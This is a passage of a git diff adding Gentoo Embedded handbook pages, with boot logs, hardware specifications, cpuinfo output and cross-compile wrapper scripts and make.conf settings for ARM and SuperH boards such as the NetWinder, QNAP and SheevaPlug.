+irq=-1)
+ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
+at91_ohci at91_ohci: AT91 OHCI
+at91_ohci at91_ohci: new USB bus registered, assigned bus number 1
+at91_ohci at91_ohci: irq 20, io mem 0x00500000
+usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
+usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
+usb usb1: Product: AT91 OHCI
+usb usb1: Manufacturer: Linux 2.6.31-gentooGentooNETUSembedded ohci_hcd
+usb usb1: SerialNumber: at91
+usb usb1: configuration #1 chosen from 1 choice
+hub 1-0:1.0: USB hub found
+hub 1-0:1.0: 2 ports detected
+Initializing USB Mass Storage driver...
+usbcore: registered new interface driver usb-storage
+USB Mass Storage support registered.
+usbcore: registered new interface driver libusual
+mice: PS/2 mouse device common for all mice
+usbcore: registered new interface driver xpad
+xpad: X-Box pad driver
+at91_rtt: dev (254:0)
+rtc-at91sam9 at91_rtt.0: rtc core: registered at91_rtt as rtc0
+IRQ 1/rtc0: IRQF_DISABLED is not guaranteed on shared IRQs
+i2c /dev entries driver
+at24 0-0050: 65536 byte 24c512 EEPROM (writable)
+i2c-gpio i2c-gpio: using pins 55 (SDA) and 56 (SCL)
+AT91SAM9 Watchdog: sorry, watchdog is disabled
+at91_wdt: probe of at91_wdt failed with error -5
+Bluetooth: HCI UART driver ver 2.2
+Bluetooth: HCI H4 protocol initialized
+Bluetooth: HCI BCSP protocol initialized
+Bluetooth: HCILL protocol initialized
+Bluetooth: Generic Bluetooth USB driver ver 0.5
+usbcore: registered new interface driver btusb
+at91_mci at91_mci: 4 wire bus mode not supported - using 1 wire
+Registered led device: ds5
+Registered led device: ds1
+usbcore: registered new interface driver hiddev
+usbcore: registered new interface driver usbhid
+usbhid: v2.6:USB HID core driver
+TCP cubic registered
+NET: Registered protocol family 10
+IPv6 over IPv4 tunneling driver
+RPC: Registered udp transport module.
+RPC: Registered tcp transport module.
+rtc-at91sam9 at91_rtt.0: readtime: 2009-09-19 14:56:38
+rtc-at91sam9 at91_rtt.0: setting system clock to 2009-10-19 14:56:38 UTC
+(1255964198)
+Waiting 5sec before mounting root device...
+usb 1-2: new full speed USB device using at91_ohci and address 2
+mmc0: host does not support reading read-only switch. assuming write-enable.
+mmc0: new SDHC card at address 8fe4
+mmcblk0: mmc0:8fe4 SU04G 3.69 GiB
+ mmcblk0: p1
+usb 1-2: New USB device found, idVendor=1370, idProduct=0323
+usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
+usb 1-2: Product: pitchBLACK
+usb 1-2: Manufacturer: Swissbit
+usb 1-2: SerialNumber: 000010004269FR0002b5
+usb 1-2: configuration #1 chosen from 1 choice
+scsi0 : SCSI emulation for USB Mass Storage devices
+usb-storage: device found at 2
+usb-storage: waiting for device to settle before scanning
+REISERFS (device mmcblk0p1): found reiserfs format "3.6" with standard
+journal
+REISERFS (device mmcblk0p1): using writeback data mode
+REISERFS (device mmcblk0p1): journal params: device mmcblk0p1, size 8192,
+journal first block 18, max trans len 1024, max batch 900, max commit age
+30, max trans age 30
+REISERFS (device mmcblk0p1): checking transaction log (mmcblk0p1)
+REISERFS (device mmcblk0p1): Using r5 hash to sort names
+VFS: Mounted root (reiserfs filesystem) on device 179:1.
+Freeing init memory: 108K
+eth0: link up (100/Full)
+eth0: no IPv6 routers present
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>References:</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://netus.acmesystems.it/doku.php">ACME SYSTEMS Netus
+    G20</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netwinder.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netwinder.xml
new file mode 100644
index 00000000..2a17c766
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netwinder.xml
@@ -0,0 +1,159 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-netwinder.xml,v 1.4 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Little-endian ARMv4 based network server from Rebel.
+</abstract>
+
+<version>0.1</version>
+<date>2009-01-04</date>
+
+<section>
+<title>Rebel NetWinder</title>
+<body>
+
+<pre caption="Board Specifications">
+# DEC/Intel StrongARM 110 processor, ~233MHz
+# DEC/Intel 21285 FootBridge chipset
+# 32/64/128MB RAM
+# Intergraphics Systems CyberPro 2000A graphics chip with 2MB RAM, VGA output
+# WinBond 553 IDE controller
+# RockWell WaveArtist audio chip
+# Philips 7111 video capture/WinBond 9660 TV Encoder
+# 1x WinBond 940 10BaseT Ethernet controller
+# 1x Digital 21143(Tulip) 10/100BaseT Ethernet controller
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+Processor       : StrongARM-110 rev 4 (v4l)
+BogoMIPS        : 185.54
+Features        : swp half 26bit fastmult
+CPU implementer : 0x44
+CPU architecture: 4
+CPU variant     : 0x0
+CPU part        : 0xa10
+CPU revision    : 4
+
+Hardware        : Rebel-NetWinder
+Revision        : 59ff
+Serial          : 0000000000000000
+</pre>
+
+</body>
+</section>
+
+
+<section>
+<title>Cross Compile Preparation</title>
+<body>
+
+<pre caption="Setup">
+# <i>emerge crossdev</i>
+# <i>crossdev armv4l-unknown-linux-gnu</i>
+</pre>
+
+<pre caption="Emerge Wrapper (netwinder-merge)">
+#!/bin/sh
+
+CHOST=armv4l-unknown-linux-gnu
+
+#export CBUILD=$(portageq envvar CBUILD)
+export SYSROOT="/usr/${CHOST}"
+export PORTAGE_CONFIGROOT="/usr/${CHOST}"
+
+# optional exports
+export enable_malloc0returnsnull=yes \
+        ac_cv_file__usr_share_sgml_X11_defs_ent=1 \
+        ac_cv_func_setpgrp_void=yes ac_cv_func_setgrent_void=yes \
+        ac_cv_func_calloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes \
+        gl_cv_func_malloc_0_nonnull=yes ac_cv_func_realloc_0_nonnull=yes \
+        ac_cv_func_memcmp_working=yes ac_cv_func_strnlen_working=yes
+
+# optional export for glib:2
+export glib_cv_uscore=no glib_cv_stack_grows=no \
+        glib_cv_stack_grows=no  glib_cv_has__inline=yes \
+        glib_cv_has__inline__=yes glib_cv_hasinline=yes \
+        glib_cv_sane_realloc=yes glib_cv_va_copy=yes \
+        glib_cv___va_copy=yes glib_cv_va_val_copy=no \
+        glib_cv_rtldglobal_broken=no glib_cv_uscore=no \
+        ac_cv_func_posix_getpwuid_r=yes \
+        ac_cv_func_posix_getgrgid_r=yes \
+        ac_cv_header_pwd_h=yes \
+        ac_cv_func_getpwuid_r=yes \
+        glib_cv_sizeof_gmutex=40 
+
+FAKEROOT=
+if [[ $(id -u) != 0 ]]; then
+	if [[ $(type -p fakeroot) != "" ]]; then
+		FAKEROOT=fakeroot
+	fi
+fi
+
+${FAKEROOT} emerge -q "$@"
+
+</pre>
+
+<pre caption="/usr/armv4l-unknown-linux-gnu/etc/make.conf">
+CHOST=armv4l-unknown-linux-gnu
+CBUILD=x86_64-pc-linux-gnu
+ARCH="arm"
+ROOT=/usr/${CHOST}/
+ACCEPT_KEYWORDS="arm ~arm"
+USE="${ARCH} zlib bindist make-symlinks minimal \
+        input_devices_keyboard input_devices_evdev \
+        video_cards_fbdev video_cards_dummy"
+
+VIDEO_CARDS="fbdev dummy"
+
+INPUT_DEVICES="evdev keyboard mouse touchscreen"
+USE_EXPAND="video_cards input_devices"
+MARCH_TUNE="-mcpu=strongarm110"
+CFLAGS="-Os -pipe ${MARCH_TUNE} -fomit-frame-pointer -I${ROOT}/usr/include/ -I${ROOT}/include/"
+
+CXXFLAGS="${CFLAGS}"
+LDFLAGS="-L${ROOT}/usr/lib -L${ROOT}/lib"
+
+PKG_CONFIG_PATH="${ROOT}/usr/lib/pkgconfig/"
+MAKEOPTS="-j8"
+FEATURES="-collision-protect sandbox buildpkg noman noinfo nodoc"
+
+PORTDIR_OVERLAY="/usr/portage/local/"
+PKGDIR=${ROOT}/packages/
+PORTAGE_TMPDIR=${ROOT}/tmp/
+PORTAGE_WORKDIR_MODE=2775
+PORTAGE_ECLASS_WARNING_ENABLE=0
+
+CLEAN_DELAY=0
+EPAUSE_IGNORE=1
+EBEEP_IGNORE=1
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>References:</title>
+<body>
+
+<ul>
+  <li><uri link="http://www.netwinder.org">NetWinder.org</uri></li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nslu2.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nslu2.xml
new file mode 100644
index 00000000..e1730198
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nslu2.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-nslu2.xml,v 1.2 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Big-endian arm based NAS (using external USB) from Linksys.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-qnap.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-qnap.xml
new file mode 100644
index 00000000..f1b39d9c
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-qnap.xml
@@ -0,0 +1,188 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-qnap.xml,v 1.2 2009/09/24 12:03:35 armin76 Exp $ -->
+
+<sections>
+
+<abstract>
+Little-endian ARMv5TE NAS from QNAP.
+</abstract>
+
+<version>0.2</version>
+<date>2009-01-04</date>
+
+<section>
+<title>Gentoo documentation</title>
+<body>
+<p>
+Currently, the TS109/TS209 and TS409 boards are supported on Gentoo thanks to
+QNAP Inc. who provided us with hardware to create and document the
+installation process.
+</p>
+<ul>
+	<li><uri link="http://dev.gentoo.org/~armin76/arm/qnap/ts209/">Documentation about installing Gentoo on the QNAP TurboStation TS109/TS209</uri></li>
+	<li><uri link="http://dev.gentoo.org/~armin76/arm/qnap/ts409/">Documentation about installing Gentoo on the QNAP TurboStation TS409</uri></li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>QNAP TurboStation TS109/209/409 Specifications:</title>
+<body>
+<pre caption="Board Specifications">
+
+# Marvell Orion SoC MV88F5182(for the TS109/209) and MV88F5281(for the TS409)
+# Marvell Feroceon ARMv5TE 500MHz processor
+# 128/256/512MB DDR2 RAM between the different models
+# 8MB NAND Flash
+# Marvell SATA2 controller
+# Marvell Gigabit Ethernet controller
+
+# LED's available:
+    * Power led (TS109/209 only)
+	* Status led
+	* SATA HDD leds
+	* Network interface led
+	* USB led
+
+# Reset button
+# 3x USB 2.0 ports
+# 1x eSATA port, TS109 only
+# Buzzer
+</pre>
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+<pre caption="CPU Info">
+Processor       : Feroceon rev 0 (v5l)
+BogoMIPS        : 498.07
+Features        : swp half thumb fastmult vfp edsp
+CPU implementer : 0x41
+CPU architecture: 5TEJ
+CPU variant     : 0x0
+CPU part        : 0x926
+CPU revision    : 0
+Cache type      : write-back
+Cache clean     : cp15 c7 ops
+Cache lockdown  : format C
+Cache format    : Harvard
+I size          : 32768
+I assoc         : 1
+I line length   : 32
+I sets          : 1024
+D size          : 32768
+D assoc         : 4
+D line length   : 32
+D sets          : 256
+
+Hardware        : QNAP TS-409
+Revision        : 0000
+Serial          : 0000000000000000
+</pre>
+</body>
+</section>
+
+
+<section>
+<title>Cross Compile Preparation</title>
+<body>
+<pre caption="Setup">
+emerge crossdev
+crossdev armv5tel-softfloat-linux-gnueabi
+</pre>
+
+<pre caption="Emerge Wrapper (qnap-merge)">
+#!/bin/sh
+
+CHOST=armv5tel-softfloat-linux-gnueabi
+
+#export CBUILD=$(portageq envvar CBUILD)
+export SYSROOT="/usr/${CHOST}"
+export PORTAGE_CONFIGROOT="/usr/${CHOST}"
+
+# optional exports
+export enable_malloc0returnsnull=yes \
+        ac_cv_file__usr_share_sgml_X11_defs_ent=1 \
+        ac_cv_func_setpgrp_void=yes ac_cv_func_setgrent_void=yes \
+        ac_cv_func_calloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes \
+        gl_cv_func_malloc_0_nonnull=yes ac_cv_func_realloc_0_nonnull=yes \
+        ac_cv_func_memcmp_working=yes ac_cv_func_strnlen_working=yes
+
+# optional export for glib:2
+export glib_cv_uscore=no glib_cv_stack_grows=no \
+        glib_cv_stack_grows=no  glib_cv_has__inline=yes \
+        glib_cv_has__inline__=yes glib_cv_hasinline=yes \
+        glib_cv_sane_realloc=yes glib_cv_va_copy=yes \
+        glib_cv___va_copy=yes glib_cv_va_val_copy=no \
+        glib_cv_rtldglobal_broken=no glib_cv_uscore=no \
+        ac_cv_func_posix_getpwuid_r=yes \
+        ac_cv_func_posix_getgrgid_r=yes \
+        ac_cv_header_pwd_h=yes \
+        ac_cv_func_getpwuid_r=yes \
+        glib_cv_sizeof_gmutex=40 
+
+FAKEROOT=
+if [[ $(id -u) != 0 ]]; then
+	if [[ $(type -p fakeroot) != "" ]]; then
+		FAKEROOT=fakeroot
+	fi
+fi
+
+${FAKEROOT} emerge -q "$@"
+
+</pre>
+
+<pre caption="/usr/armv5tel-softfloat-linux-gnueabi/etc/make.conf">
+#
+CHOST=armv5tel-softfloat-linux-gnueabi
+CBUILD=x86_64-pc-linux-gnu
+ARCH="arm"
+ROOT=/usr/${CHOST}/
+ACCEPT_KEYWORDS="arm ~arm"
+USE="${ARCH} zlib bindist make-symlinks minimal \
+        input_devices_keyboard input_devices_evdev \
+        video_cards_fbdev video_cards_dummy"
+
+VIDEO_CARDS="fbdev dummy"
+
+INPUT_DEVICES="evdev keyboard mouse touchscreen"
+USE_EXPAND="video_cards input_devices"
+MARCH_TUNE="-march=armv5t -mtune=arm926ej-s"
+CFLAGS="-Os -pipe ${MARCH_TUNE} -fomit-frame-pointer -I${ROOT}/usr/include/ -I${ROOT}/include/"
+
+CXXFLAGS="${CFLAGS}"
+LDFLAGS="-L${ROOT}/usr/lib -L${ROOT}/lib"
+
+PKG_CONFIG_PATH="${ROOT}/usr/lib/pkgconfig/"
+MAKEOPTS="-j8"
+FEATURES="-collision-protect sandbox buildpkg noman noinfo nodoc"
+
+PORTDIR_OVERLAY="/usr/portage/local/"
+PKGDIR=${ROOT}/packages/
+PORTAGE_TMPDIR=${ROOT}/tmp/
+PORTAGE_WORKDIR_MODE=2775
+PORTAGE_ECLASS_WARNING_ENABLE=0
+
+CLEAN_DELAY=0
+EPAUSE_IGNORE=1
+EBEEP_IGNORE=1
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>References:</title>
+<body>
+<ul>
+	<li><uri link="http://www.qnap.com">QNAP Inc.</uri></li>
+	<li><uri link="http://www.cyrius.com/debian/orion/qnap/">Martin Michlmayr's page about QNAP ARM-based devices</uri></li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-sheevaplug.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-sheevaplug.xml
new file mode 100644
index 00000000..4074aeba
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-sheevaplug.xml
@@ -0,0 +1,94 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-arm-sheevaplug.xml,v 1.3 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Little-endian ARMv5TE from Marvell.
+</abstract>
+
+<version>0.1</version>
+<date>2009-09-26</date>
+
+<section>
+<title>Gentoo documentation</title>
+<body>
+
+<p>
+Currently, the Marvell Sheevaplug is supported on Gentoo thanks to <uri
+link="http://www.marvell.com">Marvell</uri> who provided us with hardware to
+create and document the installation process.
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="http://dev.gentoo.org/~armin76/arm/sheevaplug/install.xml">Documentation
+    about installing Gentoo on the Marvell Sheevaplug</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Marvell Sheevaplug specifications</title>
+<body>
+
+<pre caption="Board Specifications">
+# Marvell Kirkwood SoC 88F6281
+# Marvell Feroceon ARMv5TE 1200MHz processor
+# 512MB DDR2 RAM
+# 512MB NAND Flash
+# Marvell Gigabit Ethernet controller
+# 1x SDHC slot
+# 1x USB 2.0 port
+# 1x mini-USB 2.0 port (for integrated JTAG and serial access)
+# Reset button
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+Processor       : Feroceon 88FR131 rev 1 (v5l)
+BogoMIPS        : 1192.75
+Features        : swp half thumb fastmult edsp
+CPU implementer : 0x56
+CPU architecture: 5TE
+CPU variant     : 0x2
+CPU part        : 0x131
+CPU revision    : 1
+
+Hardware        : Marvell SheevaPlug Reference Board
+Revision        : 0000
+Serial          : 0000000000000000
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>References:</title>
+<body>
+
+<ul>
+  <li><uri link="http://www.marvell.com">Marvell</uri></li>
+  <li>
+    <uri link="http://www.openplug.org">Marvell's Sheevaplug community</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/boards-sh-lantank.xml b/xml/htdocs/proj/en/base/embedded/handbook/boards-sh-lantank.xml
new file mode 100644
index 00000000..aa932dc8
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/boards-sh-lantank.xml
@@ -0,0 +1,159 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/boards-sh-lantank.xml,v 1.3 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Little-endian SuperH based NAS (using internal IDE) from I-O Data.
+</abstract>
+
+<version>0.1</version>
+<date>2009-01-04</date>
+
+<section>
+<title>IO-Data LANTANK Specifications:</title>
+<body>
+
+<pre caption="Board Specifications">
+# SH4 SH7751 processor, ~266MHz
+# 64MB RAM
+# Artop Electronic Corp ATP865 IDE controller
+# 10/100Mbit Realtek 8139C+ Ethernet controller
+# 2x NEC USB 2.0
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+machine         : LANDISK
+processor       : 0
+cpu family      : sh4
+cpu type        : SH7751R
+cpu flags       : fpu ptea
+cache type      : split (harvard)
+icache size     : 16KiB (2-way)
+dcache size     : 32KiB (2-way)
+bogomips        : 266.24
+master_clk      : 266.66MHz
+module_clk      : 33.33MHz
+bus_clk         : 133.33MHz
+cpu_clk         : 266.66MHz
+tmu0_clk        : 8.33MHz
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Cross Compile Preparation</title>
+<body>
+
+<pre caption="Setup">
+# <i>emerge crossdev</i>
+# <i>crossdev sh4-unknown-linux-gnu</i>
+</pre>
+
+<pre caption="Emerge Wrapper (lantank-merge)">
+#!/bin/sh
+
+CHOST=sh4-unknown-linux-gnu
+
+#export CBUILD=$(portageq envvar CBUILD)
+export SYSROOT="/usr/${CHOST}"
+export PORTAGE_CONFIGROOT="/usr/${CHOST}"
+
+# optional exports
+export enable_malloc0returnsnull=yes \
+        ac_cv_file__usr_share_sgml_X11_defs_ent=1 \
+        ac_cv_func_setpgrp_void=yes ac_cv_func_setgrent_void=yes \
+        ac_cv_func_calloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes \
+        gl_cv_func_malloc_0_nonnull=yes ac_cv_func_realloc_0_nonnull=yes \
+        ac_cv_func_memcmp_working=yes ac_cv_func_strnlen_working=yes
+
+# optional export for glib:2
+export glib_cv_uscore=no glib_cv_stack_grows=no \
+        glib_cv_stack_grows=no  glib_cv_has__inline=yes \
+        glib_cv_has__inline__=yes glib_cv_hasinline=yes \
+        glib_cv_sane_realloc=yes glib_cv_va_copy=yes \
+        glib_cv___va_copy=yes glib_cv_va_val_copy=no \
+        glib_cv_rtldglobal_broken=no glib_cv_uscore=no \
+        ac_cv_func_posix_getpwuid_r=yes \
+        ac_cv_func_posix_getgrgid_r=yes \
+        ac_cv_header_pwd_h=yes \
+        ac_cv_func_getpwuid_r=yes \
+        glib_cv_sizeof_gmutex=40 
+
+FAKEROOT=
+if [[ $(id -u) != 0 ]]; then
+	if [[ $(type -p fakeroot) != "" ]]; then
+		FAKEROOT=fakeroot
+	fi
+fi
+
+${FAKEROOT} emerge -q "$@"
+
+</pre>
+
+<pre caption="/usr/sh4-unknown-linux-gnu/etc/make.conf">
+CHOST=sh4-unknown-linux-gnu
+CBUILD=x86_64-pc-linux-gnu
+ARCH="sh"
+ROOT=/usr/${CHOST}/
+ACCEPT_KEYWORDS="sh ~sh"
+USE="${ARCH} zlib bindist make-symlinks minimal \
+        input_devices_keyboard input_devices_evdev \
+        video_cards_fbdev video_cards_dummy"
+
+VIDEO_CARDS="fbdev dummy"
+
+INPUT_DEVICES="evdev keyboard mouse touchscreen"
+USE_EXPAND="video_cards input_devices"
+MARCH_TUNE="-m4"
+CFLAGS="-Os -pipe ${MARCH_TUNE} -fomit-frame-pointer -I${ROOT}/usr/include/ -I${ROOT}/include/"
+
+CXXFLAGS="${CFLAGS}"
+LDFLAGS="-L${ROOT}/usr/lib -L${ROOT}/lib"
+
+PKG_CONFIG_PATH="${ROOT}/usr/lib/pkgconfig/"
+MAKEOPTS="-j8"
+FEATURES="-collision-protect sandbox buildpkg noman noinfo nodoc"
+
+PORTDIR_OVERLAY="/usr/portage/local/"
+PKGDIR=${ROOT}/packages/
+PORTAGE_TMPDIR=${ROOT}/tmp/
+PORTAGE_WORKDIR_MODE=2775
+PORTAGE_ECLASS_WARNING_ENABLE=0
+
+CLEAN_DELAY=0
+EPAUSE_IGNORE=1
+EBEEP_IGNORE=1
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>References:</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://dev.gentoo.org/~vapier/superh/lantank/">Mike Frysinger's
+    page about the LANTANK</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-das-u-boot.xml b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-das-u-boot.xml
new file mode 100644
index 00000000..32f53ccb
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-das-u-boot.xml
@@ -0,0 +1,31 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-das-u-boot.xml,v 1.4 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+The Universal Bootloader which supports every embedded architecture out there.
+</abstract>
+
+<version>0.2</version>
+<date>2008-05-05</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+Rather than duplicate existing information, please consult the upstream
+<uri link="http://www.denx.de/wiki/UBoot/Documentation">documentation</uri>
+and their main <uri link="http://www.denx.de/wiki/view/DULG/UBoot">wiki</uri>.
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-nettrom.xml b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-nettrom.xml
new file mode 100644
index 00000000..97a7118b
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-nettrom.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-nettrom.xml,v 1.2 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Simple bootloader on NetWinders.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-redboot.xml b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-redboot.xml
new file mode 100644
index 00000000..16d5f86f
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-redboot.xml
@@ -0,0 +1,30 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-redboot.xml,v 1.2 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Small bootloader based on eCos which supports every embedded architecture out
+there.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-sh-lilo.xml b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-sh-lilo.xml
new file mode 100644
index 00000000..2fa2fd3f
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-sh-lilo.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/bootloaders-sh-lilo.xml,v 1.2 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Port of LILO to SuperH which tends to be pretty common on that architecture.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/communication.xml b/xml/htdocs/proj/en/base/embedded/handbook/communication.xml
new file mode 100644
index 00000000..e269106d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/communication.xml
@@ -0,0 +1,73 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/communication.xml,v 1.3 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Gentoo Embedded communication channels.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Mailing Lists</title>
+<body>
+
+<p>
+To participate in the Embedded Gentoo project first join the mailing list at
+<mail link="gentoo-embedded@gentoo.org">gentoo-embedded@gentoo.org</mail>. Then
+ask if there are plans to support something that you are interested in, propose
+a new subproject that you are interested in or choose one of the planned
+subprojects to work on.  
+</p>
+
+<p>
+For more information, see the <uri link="/main/en/lists.xml">common mailing list
+page</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+You may talk to the developers and users in the IRC channel
+<c>#gentoo-embedded</c> on <c>irc.freenode.net</c> for more information or just
+to chat about the project or any subprojects.
+</p>
+
+<p>
+For more information, see the <uri link="/main/en/irc.xml">common IRC
+page</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+We use the <uri link="http://bugs.gentoo.org/">Gentoo Bugzilla</uri> to handle
+all of our tracking. All bug reports should generally go here.
